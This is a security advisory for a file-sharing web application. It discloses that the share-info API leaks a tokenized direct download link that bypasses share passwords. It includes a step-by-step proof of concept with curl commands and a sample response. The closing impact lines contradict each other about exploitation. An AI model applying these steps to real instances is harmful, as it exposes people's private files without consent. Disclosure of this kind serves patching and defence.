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GHSA-8vrh-3pm2-v4v6
No affected components available
Summary
When users share password-protected files, the recipient can completely bypass the password and still download the file.
Details
This happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password.
PoC
- As an authenticated user, create a share for a file, with a password specified in "Optional password" (make sure to allow anonymous access as the PoC doesn't explain how to do this on a share that requires login, but it is also possible to do on a share that requires login, with some small tweaks to the API request)
- Copy the first link (the clipboard WITHOUT an arrow) because the second one just completely skips the password without any effort required, which was mentioned in another vulnerability (https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3v48-283x-f2w4)
Now, the link that was copied should look like: https://yourdomain/public/share/yoursharehash example: https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA
Now, make a API request with any api client to GET https://yourdomain/public/api/shareinfo?hash=(the share hash from the link) example: https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA
If curl is preferred, a (command line based API client), here's the command:
curl 'https://yourdomain/public/api/shareinfo?hash=yoursharehash' -H 'Accept: */*'
example:
curl 'https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA' -H 'Accept: */*'
Example response:
{
"shareTheme": "default",
"title": "Shared files - IMG_20240814_213703451.jpg",
"description": "A share has been sent to you to view or download.",
"disableSidebar": false,
"source": "/folder",
"path": "/IMG_20240814_213703451.jpg/",
"downloadURL": "https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D",
"shareURL": "https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA",
"enforceDarkLightMode": "default",
"viewMode": "normal",
"shareType": "normal",
"sidebarLinks": [
{
"name": "Share QR Code and Info",
"category": "shareInfo",
"target": "#",
"icon": "qr_code"
},
{
"name": "Download",
"category": "download",
"target": "#",
"icon": "download"
}
],
"hasPassword": true
}
Look at the downloadURL. It encodes the "&" symbol as "\u0026" so just replace "\u0026" with "&", example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D should be changed to: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D
Then just copy paste the new link (example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D) into any browser, and the file will download. All without giving a password.
Impact
This affects anyone who shares password-protected files.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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